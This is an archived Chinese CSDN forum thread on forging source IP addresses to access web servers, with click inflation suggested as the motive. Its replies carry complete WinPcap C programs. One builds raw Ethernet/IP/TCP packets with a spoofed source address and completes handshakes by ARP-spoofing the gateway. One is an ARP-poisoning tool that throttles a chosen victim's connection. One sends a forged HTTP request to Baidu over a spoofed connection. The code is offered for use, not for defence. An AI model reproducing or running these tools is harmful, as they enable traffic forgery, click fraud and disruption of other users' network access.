CSDN首页 空间 新闻 论坛 Blog 下载 读书 网摘 搜索 .NET Java 视频 接项目 求职 在线学习 买书 程序员 通知
不看会后悔的Windows XP之经验谈 简单快捷DIY实用家庭影院
CSDN社区
搜索 收藏 打印 关闭
CSDN社区 >  VC/MFC >  网络编程

新贴继续伪装IP访问的问题~~~

楼主flyingakain(夜猫儿)2006-07-27 21:45:15 在 VC/MFC / 网络编程 提问

先感谢Analyst()   给的地址   https://www.xfocus.net/bbs/index.php?act=ST&f=3&t=37431&page=1  
   
  然后继续自己的问题:怎么在三次握手的同时,将系统自动返回的RST换成ACK  
   
  如果不能,那么怎么实现自写IP头TCP头,访问HTTP呢  
  直接发送   IPHeader+TCPHeader+HttpRequest   这样服务器根本不理  
   
  好像还是要先发SYN建立连接才行,但是系统得到SYN+ACK后就自动回复RST了,就不能自己处理这个过程么? 问题点数:100、回复次数:26Top

1 楼Analyst()回复于 2006-07-27 23:02:14 得分 10

唯一的办法就是自己实现TCP/IP协议栈,这个在系统的驱动层,windows上实现起来很困难,但Linux是开源的,你可以尝试自己修改内核。不过要伪造IP也是mission   impossible的事情。反过来想想要是TCP连接能够随意伪造IP,那internet岂不是太不安全了?Top

2 楼flyingakain(夜猫儿)回复于 2006-07-28 01:04:09 得分 0

设计了一个方法  
  就是用替代ws2_32.dll的方法,来取代现有的send函数,遇到SYN+ACK就把RST替换成ACK  
   
  wsock32.dll的替代我倒是做过~~,ws2_32.dll就不知道成不成了  
   
  高手给说说Top

3 楼flyingakain(夜猫儿)回复于 2006-07-28 09:10:36 得分 0

顶Top

4 楼flyingakain(夜猫儿)回复于 2006-08-01 16:55:44 得分 0

upTop

5 楼husheng34(随意生活)回复于 2006-08-02 09:34:43 得分 80

用伪装IP提高点击率?  
   
  直接用一个不存在的IP,延迟一段时间,发送三个包握手,  
   
  服务器序列号,可以通过局域网,甚至本地获得,本机连对方回应包都没收到,  
   
  就不会发RST了...Top

6 楼baojian88888(机器人)回复于 2006-08-02 10:08:40 得分 10

想实现三次握手是可以的。要禁止那个系统自动回复的RST,可以用Nids中间层驱动来实现  
   
  想实现IP欺骗,个人觉得是不可能的。因为如果在发起连接的SYN包中指定了一个假的IP(非自己),那么就应该收不到对方的SYN+ACK包,也就得不到对方的seq号,就没办法回复ack=seq+1,这样连三次握手都不能完成,更不用说发送后面的TCP数据了。---个人分析,希望高手指正。Top

7 楼husheng34(随意生活)回复于 2006-08-02 10:12:30 得分 0

先发一个包过去得到当前sep,和往返时间,推测若干秒以后的seq号,发包,  
   
  如果是自己做弊,服务器是自己管的,伪装IP,成功率还是很高的!!Top

8 楼husheng34(随意生活)回复于 2006-08-02 11:53:19 得分 0

解决RST的问题了..用局域网内一个不存的IP,192.168.1.123   发syn,同时发arp欺骗,  
   
  告诉网关,192.168.1.123的MAC地址是本机,  
   
  发送syn后,收到回应,而且本地不会发RST,  
   
  正在实验,完成剩下的握手.Top

9 楼husheng34(随意生活)回复于 2006-08-02 15:42:47 得分 0

三次握手成功实现...服务器上用命令netstat   -n   可以看到连接..  
   
   
   
  #include   "pcap.h"  
  //===============常量申明===================================  
  #define   ETH_IP   0x0008     //以下所有数都是网络字节序  
   
   
  //=========数据包结构申明========================  
   
  typedef   struct   IP_Address   //32位的IP地址  
  {  
  u_char   byte1;  
  u_char   byte2;  
  u_char   byte3;  
  u_char   byte4;  
   
  }IP_Address;  
   
  typedef   struct   Mac_Address   //48位的MAC地址  
  {  
  u_char   byte1;  
  u_char   byte2;  
  u_char   byte3;  
  u_char   byte4;  
  u_char   byte5;  
  u_char   byte6;  
  }Mac_Address;  
   
   
  typedef   struct   IP_Header         //IP   首部  
  {  
   
  Mac_Address   DMac;   //(1)48位目MAC地址  
  Mac_Address   SMac;       //(2)48位源MAC地址  
  u_short     PType;     //(3)16位协议类型  
  u_char Ver_ihl; //(1)4位首部长度+4位IP版本号  
  u_char Tos; //(2)8位服务类型TOS  
  u_short   Tlen; //(3)16位总长度(字节)  
  u_short   Identification;   //(4)16位标识  
  u_short   Flags_fo; //(5)3位标志位+13位片偏移  
  u_char Ttl;   //(6)8位生存时间   TTL  
  u_char Proto; //(7)8位协议   (TCP,   UDP   或其他)  
  u_short   Crc; //(8)16位IP首部校验和  
  IP_Address Saddr; //(9)32位源IP地址  
  IP_Address Daddr; //(10)32位目的IP地址  
  }IP_Header;    
   
   
  typedef   struct   TCP_Header                         //定义TCP首部  
  {  
          u_short   Sport;                                     //(1)16位源端口  
          u_short   Dport;                                     //(2)16位目的端口  
          u_int       Seq;                                         //(3)32位序列号  
          u_int     Ack;                                         //(4)32位确认号  
          u_char     Lenres;                                   //(5)4位首部长度/6位保留字  
          u_char     Flag;                                       //(6)6位标志位  
          u_short   Win;                                         //(7)16位窗口大小  
          u_short   Crc;                                         //(8)16位校验和  
          u_short   Urp;                                         //(9)16位紧急数据偏移量  
  }   TCP_Header;    
   
  typedef   struct   TCPCRC_Header     //TCPCRC伪头  
   
  {  
   
          IP_Address Saddr; //(9)32位源IP地址  
   
  IP_Address Daddr; //(10)32位目的IP地址  
   
  u_char   mbz;//置空               //8  
   
  u_char   ptcl;   //协议类型     //8  
   
  u_short   tcpl;   //TCP长度     //16  
   
  }TCPCRC_Header;  
   
  //-------------结束------------------------  
   
  //==============函数申明==========================  
  //--------------crc--------------------------  
  USHORT   checksum(USHORT   *buffer,   int   size)    
  {    
  unsigned   long   cksum=0;    
  while(size   >1)      
  {    
  cksum+=*buffer++;    
  size-=sizeof(USHORT);    
  printf("%x-",cksum);  
  }    
   
  printf("/////%x-",cksum);  
  if(size)      
  cksum+=*(UCHAR*)buffer;    
   
  cksum=(cksum   >>   16)+(cksum&0xffff);    
   
  cksum+=(cksum   >>16);    
   
  printf("%x-",cksum);  
   
  printf("%x\n",~cksum);  
   
  return   (USHORT)(~cksum);      
  }  
   
  USHORT   checksumTCP(USHORT   *buffer1,   int   size1,USHORT   *buffer2,   int   size2)    
  {    
  unsigned   long   cksum=0;    
   
  while(size1   >1)      
  {    
  cksum+=*buffer1++;    
  size1-=sizeof(USHORT);    
  }    
   
  printf("\n%x-",cksum);  
   
  while(size2   >1)      
  {    
  cksum+=*buffer2++;    
  size2-=sizeof(USHORT);    
  }    
   
  printf("%x-",cksum);  
   
   
  cksum=(cksum   >>   16)+(cksum&0xffff);    
   
  cksum+=(cksum   >>16);    
   
  return   (USHORT)(~cksum);      
  }  
  //==================================  
   
   
    int     main()  
  {  
   
  pcap_if_t   *alldevs;  
   
  char   errbuf[PCAP_ERRBUF_SIZE];  
   
  pcap_t   *adhandle;     //设备句柄  
   
  u_char Buff[1024];   //发送Buff  
   
  const   u_char   *BuffFilt;  
   
  u_char   temp[12];                   //伪TCP头  
   
  int   res   ;  
   
  struct   pcap_pkthdr   *header   ;//返回包结构  
   
  pcap_findalldevs(&alldevs,   errbuf);  
   
  alldevs   =   alldevs->next;  
   
  if   (   (adhandle=   pcap_open_live(alldevs->name,   //   设备名称  
      65536,       //   缓冲大小.    
      1,               //   混杂模式  
      1000,           //   读超时为1秒  
      errbuf       //   error   buffer  
      )   )   ==   NULL)  
  return   -1;                           //错误返回-1  
   
  IP_Header   *IPH;  
   
  TCP_Header   *TCPH;  
   
  TCPCRC_Header   *CRCH;  
   
  IP_Header   *IPHFilt;  
   
  TCP_Header   *TCPHFilt;  
   
   
   
   
  IPH     =   (IP_Header   *)   Buff;    
   
  TCPH     =   (TCP_Header   *)   (Buff+34);    
   
  CRCH     =   (TCPCRC_Header   *)temp;    
   
  IPH->DMac.byte1   =   0x00   ;   IPH->DMac.byte2   =   0x0a   ;   IPH->DMac.byte3   =   0xeb   ;  
   
  IPH->DMac.byte4   =   0x3e   ;   IPH->DMac.byte5   =   0xbe   ;   IPH->DMac.byte6   =   0x52   ;  
   
  IPH->SMac.byte1   =   0x00   ;   IPH->SMac.byte2   =   0x13   ;   IPH->SMac.byte3   =   0x8f   ;  
   
  IPH->SMac.byte4   =   0x5f   ;   IPH->SMac.byte5   =   0xce   ;   IPH->SMac.byte6   =   0xa1   ;  
   
  IPH->PType   =   0x0008;  
   
  IPH->Ver_ihl   =   0x45   ;  
   
  IPH->Tos   =   0;  
   
  IPH->Tlen   =   0x2800   ;   //最小IP包总长度40,最小包长度64-14(二层长度)-4(物理层长度)   =   46   ,多出的6字节0填充  
   
  IPH->Identification   =   100   ;  
   
  IPH->Flags_fo   =   0x0040;  
   
  IPH->Ttl   =   255;  
   
  IPH->Proto   =   0x06;  
   
  IPH->Crc   =   0   ;  
   
   
   
  IPH->Saddr.byte1   =   192   ;   IPH->Saddr.byte2   =   168   ;   IPH->Saddr.byte3   =   1   ;   IPH->Saddr.byte4   =   123   ;    
   
  IPH->Daddr.byte1   =   192   ;   IPH->Daddr.byte2   =   168   ;   IPH->Daddr.byte3   =   1   ;   IPH->Daddr.byte4   =   251   ;  
   
          IPH->Crc   =   checksum((USHORT   *)(Buff+14),20);  
   
  TCPH->Sport   =   0x5000;  
   
  TCPH->Dport   =   0x5000;  
   
  TCPH->Seq   =   0x01000000;  
   
  TCPH->Ack   =   0;  
   
  TCPH->Lenres   =   0x50;  
   
  TCPH->Flag   =   0x02;  
   
  TCPH->Win   =   0xffff;  
   
  TCPH->Crc   =   0   ;  
   
  TCPH->Urp   =   0;  
   
  CRCH->Daddr   =   IPH->Daddr   ;   CRCH->Saddr   =   IPH->Saddr   ;  
   
  CRCH->mbz   =   0   ;  
   
  CRCH->ptcl   =   0x06;  
   
  CRCH->tcpl   =   0x1400   ;  
   
  TCPH->Crc   =     checksumTCP((USHORT   *)(Buff+34),20,(USHORT   *)temp,12);  
   
   
  printf("%d",pcap_sendpacket(adhandle, //   Adapter  
  Buff, //   buffer   with   the   packet  
  54 //   size  
  ));  
   
  while((res   =   pcap_next_ex(   adhandle,   &header,   &BuffFilt))   >=   0)    
   
  {  
  if(res   ==   0)   continue;  
   
  IPHFilt     =   (IP_Header   *)   BuffFilt;    
   
          TCPHFilt     =   (TCP_Header   *)   (BuffFilt+34);    
   
  if(   IPHFilt->PType   ==   0x0008   &&   IPHFilt->Proto   ==   0x06     &&  
   
  IPHFilt->Saddr.byte1   ==   192   &&  
   
  IPHFilt->Saddr.byte2   ==   168   &&  
   
  IPHFilt->Saddr.byte3   ==   1   &&  
   
  IPHFilt->Saddr.byte4   ==   251     &&  
   
  TCPHFilt->Ack   ==   0x02000000  
   
  )  
   
  {  
  printf("%x-%d.%d.%d.%d   \n",TCPHFilt->Sport,IPHFilt->Saddr.byte1,IPHFilt->Saddr.byte2,IPHFilt->Saddr.byte3,IPHFilt->Saddr.byte4);  
   
  TCPH->Flag   =   0x10;  
   
  TCPH->Seq     =     0x02000000;  
   
  TCPH->Ack   =   TCPHFilt->Seq+0x1000000;  
   
   
   
  TCPH->Crc   =   0   ;  
   
  TCPH->Crc   =     checksumTCP((USHORT   *)(Buff+34),20,(USHORT   *)temp,12);  
   
  printf("%d",pcap_sendpacket(adhandle, //   Adapter  
  Buff, //   buffer   with   the   packet  
  54 //   size  
  ));  
   
   
   
  TCPH->Flag   =   0x18;  
   
  TCPH->Crc   =   0   ;  
   
  TCPH->Crc   =     checksumTCP((USHORT   *)(Buff+34),20,(USHORT   *)temp,12);  
   
  printf("%d",pcap_sendpacket(adhandle, //   Adapter  
  Buff, //   buffer   with   the   packet  
  54 //   size  
  ));  
   
   
   
   
   
   
   
   
   
   
   
  }  
   
   
   
  }  
   
   
   
   
   
   
   
   
   
   
   
   
   
   
   
   
   
   
   
   
   
   
   
  }Top

10 楼freebird001(自由鸟)回复于 2006-08-04 11:23:01 得分 0

markTop

11 楼flyingakain(夜猫儿)回复于 2006-08-04 16:46:47 得分 0

这个好,晚上试试  
   
  网上找来的fxfilthook这个例子,编译成功,ipfilterdriver开了,注册表也改了,可就是不能用  
   
  net   start   fxfilthook  
  系统发生   123   错误。  
   
  文件名、目录名或卷标语法不正确。  
   
  哪位大哥弄成功了?  
  Top

12 楼husheng34(随意生活)回复于 2006-08-05 11:55:22 得分 0

不用hook这样麻烦吧,到底还是不同的人想法不一样,  
   
  程序员首先想的就是用hook,我学网络的,想到是用IP地址欺骗Top

13 楼husheng34(随意生活)回复于 2006-08-05 11:57:38 得分 0

记得用IP地址欺骗,不然会回RST的,  
   
   
  /*  
  用局域网内一个不存的IP,192.168.1.123   发syn,同时发arp欺骗,  
   
  告诉网关,192.168.1.123的MAC地址是本机,  
   
  发送syn后,收到回应,而且本地不会发RST,  
   
  正在实验,完成剩下的握手*/  
  Top

14 楼flyingakain(夜猫儿)回复于 2006-08-05 23:32:15 得分 0

用了你的代码,除了改相应的MAC和IP还有别的么?  
  为什么我编译后不成功呢,怪了  
  继续调试中~~Top

15 楼husheng34(随意生活)回复于 2006-08-07 09:06:00 得分 0

出的什么错,在vs2005+win2003+WpdPack_3_2   下通过Top

16 楼fima(肥马)回复于 2006-08-07 09:08:42 得分 0

upTop

17 楼flyingakain(夜猫儿)回复于 2006-08-07 17:26:20 得分 0

调试通了,被访问端也可以看到ip,但是对应的mac不对   ,00-00-00-00-00-00  
  另外我打算再发送一个http   request,怎么做?winpcap没用过Top

18 楼husheng34(随意生活)回复于 2006-08-08 08:59:38 得分 0

 
  全0是ARP包找不到对应的IP的地址,要发起ARP欺骗,就知道这里有问题....  
   
  /*  
  用局域网内一个不存的IP,192.168.1.123   发syn,同时发arp欺骗,  
   
  告诉网关,192.168.1.123的MAC地址是本机,  
   
  发送syn后,收到回应,而且本地不会发RST,  
   
  正在实验,完成剩下的握手*/  
   
   
  Top

19 楼husheng34(随意生活)回复于 2006-08-08 09:00:33 得分 0

#include   "pcap.h"  
   
   
  /*   prototype   of   the   packet   handler   */  
  void   packet_handler(u_char   *param,   const   struct   pcap_pkthdr   *header,   const   u_char   *pkt_data);  
   
  main()  
  {  
  pcap_if_t   *alldevs;  
  pcap_if_t   *d;  
  int   inum;  
  int   i=0;  
  int   speed=0;  
  pcap_t   *adhandle;  
  char   errbuf[PCAP_ERRBUF_SIZE];  
  u_char   packet_True[42];  
  u_char   packet_False[42];  
   
   
   
  /*   Retrieve   the   device   list   */  
  if(pcap_findalldevs(&alldevs,   errbuf)   ==   -1)  
  {  
  fprintf(stderr,"设备打开错误:   %s\n",   errbuf);  
  exit(1);  
  }  
   
  /*   Print   the   list   */  
  for(d=alldevs;   d;   d=d->next)  
  {  
  printf("%d.   %s   \n",   ++i,   d->description);  
  if   (d->description)  
  ;  
  else  
  printf("   (没有发现有效的网卡)\n");  
  }  
   
  if(i==0)  
  {  
  printf("\n没有发现网卡!请查检是否安装   WinPcap   驱动.\n");  
  return   -1;  
  }  
   
  printf("请选择网卡   (1-%d):",i);  
  scanf("%d",   &inum);  
   
  if(inum   <   1   ||   inum   >   i)  
  {  
  printf("\n错误的网卡选择.\n");  
  /*   Free   the   device   list   */  
  pcap_freealldevs(alldevs);  
  return   -1;  
  }  
   
  /*   Jump   to   the   selected   adapter   */  
  for(d=alldevs,   i=0;   i<   inum-1   ;d=d->next,   i++);  
   
  /*   Open   the   device   */  
  /*   Open   the   adapter   */  
  if   ((adhandle=   pcap_open_live(d->name, //   name   of   the   device  
    65536, //   portion   of   the   packet   to   capture.    
  //   65536   grants   that   the   whole   packet   will   be   captured   on   all   the   MACs.  
    1, //   promiscuous   mode   (nonzero   means   promiscuous)  
    1000, //   read   timeout  
    errbuf //   error   buffer  
    ))   ==   NULL)  
  {  
  fprintf(stderr,"\nUnable   to   open   the   adapter.   %s   is   not   supported   by   WinPcap\n",   d->name);  
  /*   Free   the   device   list   */  
  pcap_freealldevs(alldevs);  
  return   -1;  
  }  
   
  //以上代码打开网卡===================================================  
   
  //接收用户输入  
  C_3Layer_Arp   Arp_True;  
   
  C_3Layer_Arp   Arp_False;  
   
  u_char   D_MAC[6],S_MAC[6],D_IP[4],S_IP[4];  
   
   
   
  //D_MAC  
   
  printf("目标MAC地址,如   00-13-8F-5F-CE-A1   \n");  
   
  scanf("%x-%x-%x-%x-%x-%x",   D_MAC,D_MAC+1,D_MAC+2,D_MAC+3,D_MAC+4,D_MAC+5);  
   
   
  printf("目标IP地址   如   192.168.1.155   \n");  
   
  scanf("%d.%d.%d.%d",   D_IP,D_IP+1,D_IP+2,D_IP+3);  
   
   
  printf("网关MAC地址   如   00-13-8F-5F-CE-A1   \n");  
   
  scanf("%x-%x-%x-%x-%x-%x",   S_MAC,S_MAC+1,S_MAC+2,S_MAC+3,S_MAC+4,S_MAC+5);  
   
  printf("网关IP地址   如   192.168.1.1   \n");  
   
  scanf("%d.%d.%d.%d",   S_IP,S_IP+1,S_IP+2,S_IP+3);  
   
  printf("限速比例(1-50),越大速度越快,大于30,几乎没影响,低于10速度平方递减\n");  
   
  scanf("%d",&speed);  
   
  //=========================  
   
   
  for(i=0;i<6;i++)  
  {  
  Arp_True.DestinationMac[i]=D_MAC[i];  
  Arp_True.SourceMac[i]=S_MAC[i];  
   
  Arp_False.DestinationMac[i]=D_MAC[i];  
  Arp_False.SourceMac[i]=1;  
  }  
   
   
  for(i=0;i<4;i++)  
  {  
  Arp_True.Target_Internet_Addr[i]=D_IP[i];  
  Arp_True.Send_Internet_Addr[i]=S_IP[i];  
   
  Arp_False.Target_Internet_Addr[i]=D_IP[i];  
  Arp_False.Send_Internet_Addr[i]=S_IP[i];  
  }  
   
   
  Arp_True.Get_Data(packet_True);  
  Arp_False.Get_Data(packet_False);  
   
   
   
   
   
   
   
   
   
   
   
   
   
   
  while(1)  
  {  
   
   
  for(i=0;i<speed;i++)  
  {  
   
  Sleep(100);  
   
  pcap_sendpacket(adhandle, //   Adapter  
  packet_True, //   buffer   with   the   packet  
  42 //   size  
  );    
   
  };  
   
      if(speed<10)  
      for(i=10;i>speed;i--)  
      {  
  Sleep(100);  
  pcap_sendpacket(adhandle, //   Adapter  
  packet_False, //   buffer   with   the   packet  
  42 //   size  
  );  
   
  }  
   
  Sleep(100);  
  pcap_sendpacket(adhandle, //   Adapter  
  packet_False, //   buffer   with   the   packet  
  42 //   size  
  );  
   
   
  }  
  pcap_close(adhandle);  
  return   0;  
   
   
   
   
  }  
  Top

20 楼husheng34(随意生活)回复于 2006-08-08 09:09:03 得分 0

上面是ARP的代码,交替发送正确和错误的ARP包,  
   
  要改一下才能用的,或速度打到50,也一样.  
   
  发送HTTP请示,握手成功以后在发一个包,  
   
  TCP以后的数据就是接的HTTP协议,自己填数据,找不到HTTP的中文RFC,  
   
  没建好对应的数据结构.还有数据层以上的CRC记算好像有问题,  
   
  我TCP长度写成20,不计算HTTP的数据好像CRC也是正确的,抓包软件看的,  
   
  但RFC上说要计算数据层的CRC,不知道为什么啊.....奇怪中,可能是我程序问题,在试试  
   
  记得对服务器用ARP欺骗,不然服务器找到对应的MAC,就会全0的,  
   
  Top

21 楼templarzq(原谅我这一生不羁放纵爱自由,也会怕有一天会跌倒)回复于 2006-08-08 14:14:27 得分 0

markTop

22 楼husheng34(随意生活)回复于 2006-08-08 15:47:15 得分 0

可以请求网页了,www.baidu.com,用sinffer可以看到回过来的包,请求成功  
   
  #include   "pcap.h"  
  //===============常量申明===================================  
  #define   ETH_IP   0x0008     //以下所有数都是网络字节序  
   
   
  //=========数据包结构申明========================  
   
  typedef   struct   IP_Address   //32位的IP地址  
  {  
  u_char   byte1;  
  u_char   byte2;  
  u_char   byte3;  
  u_char   byte4;  
   
  }IP_Address;  
   
  typedef   struct   Mac_Address   //48位的MAC地址  
  {  
  u_char   byte1;  
  u_char   byte2;  
  u_char   byte3;  
  u_char   byte4;  
  u_char   byte5;  
  u_char   byte6;  
  }Mac_Address;  
   
   
  typedef   struct   IP_Header         //IP   首部  
  {  
   
  Mac_Address   DMac;   //(1)48位目MAC地址  
  Mac_Address   SMac;       //(2)48位源MAC地址  
  u_short     PType;     //(3)16位协议类型  
  u_char Ver_ihl; //(1)4位首部长度+4位IP版本号  
  u_char Tos; //(2)8位服务类型TOS  
  u_short   Tlen; //(3)16位总长度(字节)  
  u_short   Identification;   //(4)16位标识  
  u_short   Flags_fo; //(5)3位标志位+13位片偏移  
  u_char Ttl;   //(6)8位生存时间   TTL  
  u_char Proto; //(7)8位协议   (TCP,   UDP   或其他)  
  u_short   Crc; //(8)16位IP首部校验和  
  IP_Address Saddr; //(9)32位源IP地址  
  IP_Address Daddr; //(10)32位目的IP地址  
  }IP_Header;    
   
   
  typedef   struct   TCP_Header                         //定义TCP首部  
  {  
          u_short   Sport;                                     //(1)16位源端口  
          u_short   Dport;                                     //(2)16位目的端口  
          u_int       Seq;                                         //(3)32位序列号  
          u_int     Ack;                                         //(4)32位确认号  
          u_char     Lenres;                                   //(5)4位首部长度/6位保留字  
          u_char     Flag;                                       //(6)6位标志位  
          u_short   Win;                                         //(7)16位窗口大小  
          u_short   Crc;                                         //(8)16位校验和  
          u_short   Urp;                                         //(9)16位紧急数据偏移量  
  }   TCP_Header;    
   
  typedef   struct   TCPCRC_Header     //TCPCRC伪头  
   
  {  
   
          IP_Address Saddr; //(9)32位源IP地址  
   
  IP_Address Daddr; //(10)32位目的IP地址  
   
  u_char   mbz;//置空               //8  
   
  u_char   ptcl;   //协议类型     //8  
   
  u_short   tcpl;   //TCP长度     //16  
   
  }TCPCRC_Header;  
   
  //-------------结束------------------------  
   
  //==============函数申明==========================  
  //--------------crc--------------------------  
  USHORT   checksum(USHORT   *buffer,   int   size)    
  {    
  unsigned   long   cksum=0;    
  while(size   >1)      
  {    
  cksum+=*buffer++;    
  size-=sizeof(USHORT);    
   
  }    
   
   
  if(size)      
  cksum+=*(UCHAR*)buffer;    
   
  cksum=(cksum   >>   16)+(cksum&0xffff);    
   
  cksum+=(cksum   >>16);    
   
   
   
   
   
  return   (USHORT)(~cksum);      
  }  
   
  USHORT   checksumTCP(USHORT   *buffer1,   int   size1,USHORT   *buffer2,   int   size2)    
  {    
  unsigned   long   cksum=0;    
   
  while(size1   >=1)      
  {    
  cksum+=*buffer1++;    
  size1-=sizeof(USHORT);    
  }    
   
   
   
  while(size2   >=1)      
  {    
  cksum+=*buffer2++;    
  size2-=sizeof(USHORT);    
  }    
   
   
   
   
  cksum=(cksum   >>   16)+(cksum&0xffff);    
   
  cksum+=(cksum   >>16);    
   
  return   (USHORT)(~cksum);      
  }  
  //==================================  
   
   
    int     main()  
  {  
   
  int   ack   =   1   ;  
  int   OutTime   =   3   ;   //超时值,单位秒,不准确    
   
  int   seconds;;//此函数会返回从公元1970年1月1日的UTC时间从0时0分0秒算起到现在所经过的秒数  
   
  pcap_if_t   *alldevs;  
   
  char   errbuf[PCAP_ERRBUF_SIZE];  
   
  pcap_t   *adhandle;     //设备句柄  
   
  u_char Buff[1024];   //发送Buff  
   
  memset(&Buff[0],0,1024);  
   
  const   u_char   *BuffFilt;  
   
  u_char   temp[12];                   //伪TCP头  
   
  u_char   *data   ;  
   
  int   res   ;  
   
  u_char   http[]   =   {"GET   /   HTTP/1.1\r\nAccept:   */*\r\nAccept-Language:   zh-cn\r\nUA-CPU:   x86\r\nAccept-Encoding:   gzip,   deflate\r\nIf-Modified-Since:   Sat,   05   Aug   2006   11:01:00   GMT\r\nIf-None-Match:   \x22lcclba-aad-44d47a6c\x22\r\nUser-Agent:   Mozilla/4.0   (compatible;   MSIE   6.0;   Windows   NT   5.2;   SV1;   .NET   CLR   1.1.4322;   .NET   CLR   2.0.50727)\r\nHost:   www.baidu.com\r\nConnection:   Keep-Alive\r\nCookie:   BAIDUID=8F8FC2A626FDE886CA93F7C3A913CD9B\r\n\r\n"};  
   
  memcpy(Buff+54,http,400);  
   
  struct   pcap_pkthdr   *header   ;//返回包结构  
   
  pcap_findalldevs(&alldevs,   errbuf);  
   
  alldevs   =   alldevs->next;  
   
  if   (   (adhandle=   pcap_open_live(alldevs->name,   //   设备名称  
      65536,       //   缓冲大小.    
      1,               //   混杂模式  
      1000,           //   读超时为1秒  
      errbuf       //   error   buffer  
      )   )   ==   NULL)  
  return   -1;                           //错误返回-1  
   
  IP_Header   *IPH;  
   
  TCP_Header   *TCPH;  
   
  TCPCRC_Header   *CRCH;  
   
  IP_Header   *IPHFilt;  
   
  TCP_Header   *TCPHFilt;  
   
   
   
   
  IPH     =   (IP_Header   *)   Buff;    
   
  TCPH     =   (TCP_Header   *)   (Buff+34);    
   
   
  //========================data==================  
   
   
   
   
   
  //===========================  
   
   
   
  CRCH     =   (TCPCRC_Header   *)temp;    
   
  IPH->DMac.byte1   =   0x00   ;   IPH->DMac.byte2   =   0x14   ;   IPH->DMac.byte3   =   0x78   ;  
   
  IPH->DMac.byte4   =   0xa3   ;   IPH->DMac.byte5   =   0x2a   ;   IPH->DMac.byte6   =   0x22   ;  
   
  IPH->SMac.byte1   =   0x00   ;   IPH->SMac.byte2   =   0x13   ;   IPH->SMac.byte3   =   0x8f   ;  
   
  IPH->SMac.byte4   =   0x5f   ;   IPH->SMac.byte5   =   0xce   ;   IPH->SMac.byte6   =   0xa1   ;  
   
  IPH->PType   =   0x0008;  
   
  IPH->Ver_ihl   =   0x45   ;  
   
  IPH->Tos   =   0;  
   
  IPH->Tlen   =   0x2800   ;   //最小IP包总长度40,最小包长度64-14(二层长度)-4(物理层长度)   =   46   ,多出的6字节0填充  
   
  IPH->Identification   =   100   ;  
   
  IPH->Flags_fo   =   0x0040;  
   
  IPH->Ttl   =   255;  
   
  IPH->Proto   =   0x06;  
   
  IPH->Crc   =   0   ;  
   
   
   
  IPH->Saddr.byte1   =   192   ;   IPH->Saddr.byte2   =   168   ;   IPH->Saddr.byte3   =   1   ;   IPH->Saddr.byte4   =   123   ;    
   
  IPH->Daddr.byte1   =   220   ;   IPH->Daddr.byte2   =   181   ;   IPH->Daddr.byte3   =   18   ;   IPH->Daddr.byte4   =   165   ;  
   
          IPH->Crc   =   checksum((USHORT   *)(Buff+14),20);  
   
  TCPH->Sport   =   0x5200;  
   
  TCPH->Dport   =   0x5000;  
   
  TCPH->Seq   =   0x01000000;  
   
  TCPH->Ack   =   0;  
   
  TCPH->Lenres   =   0x50;  
   
  TCPH->Flag   =   0x02;  
   
  TCPH->Win   =   0xffff;  
   
  TCPH->Crc   =   0   ;  
   
  TCPH->Urp   =   0;  
   
  CRCH->Daddr   =   IPH->Daddr   ;   CRCH->Saddr   =   IPH->Saddr   ;  
   
  CRCH->mbz   =   0   ;  
   
  CRCH->ptcl   =   0x06;  
   
  CRCH->tcpl   =   0x1400   ;  
   
   
   
  u_short   i   =   6000     ;  
   
   
   
   
  /*while(1)*/{   seconds=   time((time_t*)NULL);i++;TCPH->Sport   =   i   ;   TCPH->Flag   =   0x02;IPH->Tlen   =   0x2800;IPH->Crc   =   0   ;IPH->Crc   =   checksum((USHORT   *)(Buff+14),20);   TCPH->Seq   =   0x01000000;  
   
  TCPH->Crc   =   0   ; TCPH->Crc   =     checksumTCP((USHORT   *)(Buff+34),20,(USHORT   *)temp,12);  
   
  pcap_sendpacket(adhandle, //   Adapter  
  Buff, //   buffer   with   the   packet  
  54 //   size  
  );  
   
   
   
  while((res   =   pcap_next_ex(   adhandle,   &header,   &BuffFilt))   >=   0         &&   (seconds+OutTime)   >=   time((time_t*)NULL   )   )  
   
  {  
  if(res   ==   0)   continue;  
   
   
   
   
  IPHFilt     =   (IP_Header   *)   BuffFilt;    
   
          TCPHFilt     =   (TCP_Header   *)   (BuffFilt+34);  
   
   
   
   
   
  if(   IPHFilt->PType   ==   0x0008   &&   IPHFilt->Proto   ==   0x06     &&  
   
  TCPHFilt->Ack   ==   0x02000000)  
   
   
   
  {  
   
   
   
   
   
  printf("%x-%d.%d.%d.%d   \n",TCPHFilt->Sport,IPHFilt->Saddr.byte1,IPHFilt->Saddr.byte2,IPHFilt->Saddr.byte3,IPHFilt->Saddr.byte4);  
   
  TCPH->Flag   =   0x10;  
   
  TCPH->Seq     =     0x02000000;  
   
  TCPH->Ack   =   TCPHFilt->Seq+0x1000000;  
   
  TCPH->Crc   =   0   ;  
   
  TCPH->Crc   =     checksumTCP((USHORT   *)(Buff+34),20,(USHORT   *)temp,12);  
   
  printf("%d",pcap_sendpacket(adhandle, //   Adapter  
  Buff, //   buffer   with   the   packet  
  54 //   size  
  ));  
   
   
   
  //===================data============================================  
   
  IPH->Tlen   =   0xaf01;  
   
  IPH->Crc   =   0   ;   IPH->Crc   =   checksum((USHORT   *)(Buff+14),20);  
   
  TCPH->Flag   =   0x18;  
   
  CRCH->tcpl   =   0x9b01;  
   
  TCPH->Crc   =   0   ;  
   
  TCPH->Crc   =     checksumTCP((USHORT   *)(Buff+34),411,(USHORT   *)temp,12);  
   
  pcap_sendpacket(adhandle, //   Adapter  
  Buff, //   buffer   with   the   packet  
  445 //   size  
  );  
   
   
   
   
      ack++;  
   
  printf("%d",ack);  
   
   
   
   
  }  
   
   
   
   
   
   
   
   
  }  
   
   
   
   
   
   
   
   
   
   
   
  }  
   
   
   
   
   
   
  }Top

23 楼flyingakain(夜猫儿)回复于 2006-08-10 01:12:29 得分 0

时间够长了,先结贴发分Top

24 楼husheng34(随意生活)回复于 2006-08-10 09:48:49 得分 0

哇,谢谢了,我靠的分穿上2裤头了Top

25 楼debugii()回复于 2006-10-16 17:36:33 得分 0

husheng34我按照你的第二段代码在WINDOWS下编译成功后,执行为什么没有反映?  
  编译环境VC6  
  用netstat   -n也没见到有连接Top

26 楼debugii()回复于 2006-10-16 17:44:05 得分 0

上面打错了,是最后段代码Top

相关问题

关键词

得分解答快速导航

  • 帖主:flyingakain
  • Analyst
  • husheng34
  • baojian88888

相关链接

  • Visual C++类图书
  • Visual C++类源码下载

广告也精彩

反馈

请通过下述方式给我们反馈
反馈
提问
网站简介|广告服务|VIP资费标准|银行汇款帐号|网站地图|帮助|联系方式|诚聘英才|English|问题报告
